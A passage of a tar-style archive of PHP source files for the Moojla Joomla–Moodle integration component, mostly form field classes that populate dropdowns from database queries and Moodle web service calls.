$model = MoojlaHelper::getModel('enrolments');
$results = array_unique($results);
foreach ($results as $role)
{
// Translate the role selection
$text = $model->selectionTranslation($role,'role');
// Now add the role and its text to the options array
$_filter[] = JHtml::_('select.option', $role,
JText::_($text));
}
}
return $_filter;
}
}
models/fields/fulllanguage.php000064400000010350151165724400012460
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.63
@build 10th May, 2021
@created 22nd July, 2020
@package Moojla
@subpackage fulllanguage.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Fulllanguage Form Field class for the Moojla component
*/
class JFormFieldFulllanguage extends JFormFieldList
{
/**
* The fulllanguage field type.
*
* @var string
*/
public $type = 'fulllanguage';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
$script = '
jQuery(document).ready(function($){
langselector = $("#myform_language");
langselector.change(function(e){
lang = $(this).val();
originalTextArea = $("#myform_original_translation");
overrideTextArea = $("#myform_override");
if(lang){
isAdmin = lang.substr(-1) == 1 ? true : false;
code = lang.substr(0, lang.length - 1);
url = `/${isAdmin ? "administrator/" :
""}language/overrides/${code}.override.ini`;
// console.log(url);
jQuery.ajax({
url: url,
cache: false,
beforeSend: function(){
// console.log("beforeSend");
overrideTextArea.val("Wait please ...");
},
success: function(data, textStatus, xhr){
ct = xhr.getResponseHeader("content-type") || "";
// console.log("success");
// console.log(ct);
if(ct != "text/html; charset=utf-8")
overrideTextArea.val(data);
else
overrideTextArea.val("");
},
error: function(data, textStatus, xhr){
overrideTextArea.val("");
// ct = xhr.getResponseHeader("content-type") ||
"";
// console.log("error");
// console.log(ct);
},
});
url = `/${isAdmin ? "administrator/" :
""}language/${code}/${code}.com_moojla.ini`;
// console.log(url);
jQuery.ajax({
url: url,
cache: false,
beforeSend: function(){
// console.log("beforeSend");
originalTextArea.val("Wait please ...");
},
success: function(data, textStatus, xhr){
ct = xhr.getResponseHeader("content-type") || "";
// console.log("success");
// console.log(ct);
if(ct != "text/html; charset=utf-8")
originalTextArea.val(data);
else
originalTextArea.val("");
},
error: function(data, textStatus, xhr){
ct = xhr.getResponseHeader("content-type") || "";
// console.log("error");
// console.log(ct);
},
});
}
else{
overrideTextArea.val("");
originalTextArea.val("");
}
});
})';
$document = JFactory::getDocument();
$document->addScriptDeclaration($script);
$languages = array();
$languages[] = JHtml::_('select.option', '',
'Select an option');
$site_languages = JLanguageHelper::getKnownLanguages(JPATH_SITE);
$admin_languages =
JLanguageHelper::getKnownLanguages(JPATH_ADMINISTRATOR);
// Create a single array of them.
foreach ($site_languages as $tag => $language)
{
$languages[$tag . '0'] = $language['name'] . '
- ' . JText::_('JSITE');
}
foreach ($admin_languages as $tag => $language)
{
$languages[$tag . '1'] = $language['name'] . '
- ' . JText::_('JADMINISTRATOR');
}
// Sort it by language tag and by client after that.
ksort($languages);
return array_merge(parent::getOptions(), $languages);
}
}
models/fields/index.html000064400000000054151165724400011276
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>models/fields/juserfields.php000064400000007057151165724400012343
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage juserfields.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Juserfields Form Field class for the Moojla component
*/
class JFormFieldJuserfields extends JFormFieldList
{
/**
* The juserfields field type.
*
* @var string
*/
public $type = 'juserfields';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$user = JFactory::getUser();
// Get the databse object.
$params = JComponentHelper::getParams('com_moojla');
$ads = trim($params->get('additional_data_source'));
switch($ads)
{
case "jf":
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('a.id','a.name'),array('id','juserfields_name')));
$query->from($db->quoteName('#__fields',
'a'));
$query->where($db->quoteName('a.state') . ' =
1');
$query->where($db->quoteName('a.context') . ' =
"com_users.user"');
$query->order('a.name ASC');
// Implement View Level Access (if set in table)
if (!$user->authorise('core.options',
'com_moojla'))
{
$columns = $db->getTableColumns('#__fields');
if(isset($columns['access']))
{
$groups = implode(',',
$user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups .
')');
}
}
$db->setQuery((string)$query);
$items = $db->loadObjectList();
foreach($items as $index => $item)
{
$items[$index]->id = 'jf_'.$item->juserfields_name;
}
break;
case "cb":
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$sql = "DESC #__comprofiler";
$db->setQuery($sql);
$items = $db->loadObjectList();
foreach($items as $index => $item)
{
$obj = new stdClass();
$obj->id = 'cb_'.$item->Field;
$obj->juserfields_name = $item->Field;
$items[$index] = $obj;
}
break;
}
$standardFields = ['name', 'email',
'groups'];
foreach($standardFields as $index => $sf)
{
$obj = new stdClass();
$obj->id = 'sj_'.$sf;
$obj->juserfields_name = $sf;
$items[] = $obj;
}
$options = array();
if ($items)
{
$options[] = JHtml::_('select.option', '',
'Select an option');
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->id,
$item->juserfields_name);
}
}
return $options;
}
}
models/fields/mcategory.php000064400000005321151165724400012006
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage mcategory.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Mcategory Form Field class for the Moojla component
*/
class JFormFieldMcategory extends JFormFieldList
{
/**
* The mcategory field type.
*
* @var string
*/
public $type = 'mcategory';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$user = JFactory::getUser();
// Get the databse object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('a.catid','c.title'),array('catid','category_title')));
$query->from($db->quoteName('#__moojla_course',
'a'));
$query->join('inner',
$db->quoteName('#__categories', 'c') .
'on' . $db->quoteName('a.catid') . '=' .
$db->quoteName('c.id'));
$query->where($db->quoteName('a.published') . ' =
1');
$query->order('c.title ASC');
$query->group('catid');
// Implement View Level Access (if set in table)
if (!$user->authorise('core.options',
'com_moojla'))
{
$columns = $db->getTableColumns('#__moojla_course');
if(isset($columns['access']))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
}
$db->setQuery((string)$query);
$items = $db->loadObjectList();
$options = array();
if ($items)
{
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->catid,
$item->category_title);
}
}
return $options;
}
}
models/fields/mcohort.php000064400000004357151165724400011477
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage mcohort.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Mcohort Form Field class for the Moojla component
*/
class JFormFieldMcohort extends JFormFieldList
{
/**
* The mcohort field type.
*
* @var string
*/
public $type = 'mcohort';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
//user
$user = JFactory::getUser();
$document = JFactory::getDocument();
$document->addScript('components/com_moojla/assets/js/admin.js');
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$dataObj = array(
"wsfunction" => "moojla_get_cohorts",
"moodlewsrestformat" => "json",
);
$items =
json_decode(moojlaHelper::sendRequestToMoodle($dataObj)->response);
$options = array();
$options[] = JHtml::_('select.option', '',
'Select an option');
if ($items)
{
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->id ,
$item->name);
}
}
return $options;
}
}
models/fields/mcoursefields.php000064400000004221151165724400012656
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage mcoursefields.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Mcoursefields Form Field class for the Moojla component
*/
class JFormFieldMcoursefields extends JFormFieldList
{
/**
* The mcoursefields field type.
*
* @var string
*/
public $type = 'mcoursefields';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$options = array();
$options[] = JHtml::_('select.option', '',
'Select an option');
$items = array();
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$data = array(
"wsfunction" =>
"moojla_get_course_custom_fields",
"moodlewsrestformat" => "json",
);
$items =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
foreach($items as $item)
{
$options[] = JHtml::_('select.option',
'cm_'.$item->id, $item->name);
}
return $options;
}
}
models/fields/modulesfiltermodname.php000064400000004613151165724400014236
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage modulesfiltermodname.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Modulesfiltermodname Form Field class for the Moojla component
*/
class JFormFieldModulesfiltermodname extends JFormFieldList
{
/**
* The modulesfiltermodname field type.
*
* @var string
*/
public $type = 'modulesfiltermodname';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get a db connection.
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
// Select the text.
$query->select($db->quoteName('modname'));
$query->from($db->quoteName('#__moojla_module'));
$query->order($db->quoteName('modname') . '
ASC');
// Reset the query using our newly populated query object.
$db->setQuery($query);
$results = $db->loadColumn();
$_filter = array();
$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_MODULE_TYPE') .
' -');
if ($results)
{
$results = array_unique($results);
foreach ($results as $modname)
{
// Now add the modname and its text to the options array
$_filter[] = JHtml::_('select.option', $modname, $modname);
}
}
return $_filter;
}
}
models/fields/modulesfiltermodulesectionid.php000064400000004765151165724400016015
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage modulesfiltermodulesectionid.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Modulesfiltermodulesectionid Form Field class for the Moojla component
*/
class JFormFieldModulesfiltermodulesectionid extends JFormFieldList
{
/**
* The modulesfiltermodulesectionid field type.
*
* @var string
*/
public $type = 'modulesfiltermodulesectionid';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get a db connection.
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
// Select the text.
$query->select($db->quoteName('module_section_id'));
$query->from($db->quoteName('#__moojla_module'));
$query->order($db->quoteName('module_section_id') .
' ASC');
// Reset the query using our newly populated query object.
$db->setQuery($query);
$results = $db->loadColumn();
$_filter = array();
$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_MODULE_SECTION_ID') .
' -');
if ($results)
{
$results = array_unique($results);
foreach ($results as $module_section_id)
{
// Now add the module_section_id and its text to the options array
$_filter[] = JHtml::_('select.option', $module_section_id,
$module_section_id);
}
}
return $_filter;
}
}
models/fields/moodlecoursecategories.php000064400000004320151165724400014560
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage moodlecoursecategories.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Moodlecoursecategories Form Field class for the Moojla component
*/
class JFormFieldMoodlecoursecategories extends JFormFieldList
{
/**
* The moodlecoursecategories field type.
*
* @var string
*/
public $type = 'moodlecoursecategories';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
$user = JFactory::getUser();
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$dataObj = array(
"wsfunction" =>
"moojla_get_course_categories",
"moodlewsrestformat" => "json",
);
$items =
json_decode(moojlaHelper::sendRequestToMoodle($dataObj)->response);
$options = array();
if ($items)
{
$options[] = JHtml::_('select.option', '',
'Select an option');
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->id ,
$item->name);
}
}
return $options;
}
}
models/fields/moodletag.php000064400000005140151165724400011766
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage moodletag.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Moodletag Form Field class for the Moojla component
*/
class JFormFieldMoodletag extends JFormFieldList
{
/**
* The moodletag field type.
*
* @var string
*/
public $type = 'moodletag';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$user = JFactory::getUser();
// Get the databse object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('a.tagid','a.tagname'),array('tagid','moodletag_tagname')));
$query->from($db->quoteName('#__moojla_tag',
'a'));
$query->where($db->quoteName('a.published') . ' =
1');
$query->order('a.tagname ASC');
// Implement View Level Access (if set in table)
if (!$user->authorise('core.options',
'com_moojla'))
{
$columns = $db->getTableColumns('#__moojla_tag');
if(isset($columns['access']))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
}
$db->setQuery((string)$query);
$items = $db->loadObjectList();
$options = array();
if ($items)
{
$options[] = JHtml::_('select.option', '',
'Select an option');
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->tagid,
$item->moodletag_tagname);
}
}
return $options;
}
}
models/fields/moojlacourse.php000064400000005233151165724400012520
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage moojlacourse.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Moojlacourse Form Field class for the Moojla component
*/
class JFormFieldMoojlacourse extends JFormFieldList
{
/**
* The moojlacourse field type.
*
* @var string
*/
public $type = 'moojlacourse';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$user = JFactory::getUser();
// Get the databse object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('a.remoteid','a.fullname'),array('remoteid','moojlacourse_fullname')));
$query->from($db->quoteName('#__moojla_course',
'a'));
$query->where($db->quoteName('a.published') . ' =
1');
// $query->order('a.fullname ASC');
// Implement View Level Access (if set in table)
if (!$user->authorise('core.options',
'com_moojla'))
{
$columns = $db->getTableColumns('#__moojla_course');
if(isset($columns['access']))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
}
$db->setQuery((string)$query);
$items = $db->loadObjectList();
$options = array();
if ($items)
{
$options[] = JHtml::_('select.option', '',
'Select an option');
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->remoteid,
$item->moojlacourse_fullname);
}
}
return $options;
}
}
models/fields/moojlacoursefield.php000064400000005265151165724400013531
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage moojlacoursefield.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Moojlacoursefield Form Field class for the Moojla component
*/
class JFormFieldMoojlacoursefield extends JFormFieldList
{
/**
* The moojlacoursefield field type.
*
* @var string
*/
public $type = 'moojlacoursefield';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$user = JFactory::getUser();
// Get the databse object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('a.id','a.name'),array('id','coursefield_name')));
$query->from($db->quoteName('#__fields',
'a'));
$query->where($db->quoteName('a.state') . ' =
1');
$query->where($db->quoteName('a.context') . ' =
"com_moojla.course"');
$query->order('a.name ASC');
// Implement View Level Access (if set in table)
if (!$user->authorise('core.options',
'com_moojla'))
{
$columns = $db->getTableColumns('#__fields');
if(isset($columns['access']))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
}
$db->setQuery((string)$query);
$items = $db->loadObjectList();
$options = array();
if ($items)
{
$options[] = JHtml::_('select.option', '',
'Select an option');
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->id,
$item->coursefield_name);
}
}
return $options;
}
}
models/fields/mtag.php000064400000005077151165724400010754 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage mtag.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Mtag Form Field class for the Moojla component
*/
class JFormFieldMtag extends JFormFieldList
{
/**
* The mtag field type.
*
* @var string
*/
public $type = 'mtag';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$user = JFactory::getUser();
// Get the databse object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('a.tagid','a.tagname'),array('tagid','tag_tagname')));
$query->from($db->quoteName('#__moojla_tag',
'a'));
$query->where($db->quoteName('a.published') . ' =
1');
$query->where($db->quoteName('a.isstandard')
. ' = 1');
$query->order('a.tagname ASC');
// Implement View Level Access (if set in table)
if (!$user->authorise('core.options',
'com_moojla'))
{
$columns = $db->getTableColumns('#__moojla_tag');
if(isset($columns['access']))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
}
$db->setQuery((string)$query);
$items = $db->loadObjectList();
$options = array();
if ($items)
{
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->tagid,
$item->tag_tagname);
}
}
return $options;
}
}
models/fields/mteacher.php000064400000005661151165724400011613
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage mteacher.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Mteacher Form Field class for the Moojla component
*/
class JFormFieldMteacher extends JFormFieldList
{
/**
* The mteacher field type.
*
* @var string
*/
public $type = 'mteacher';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$role=
JComponentHelper::getParams('com_moojla')->get('role');
$user = JFactory::getUser();
// Get the databse object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('a.mid','a.jid','u.name'),array('mid','teacher_jid','name')));
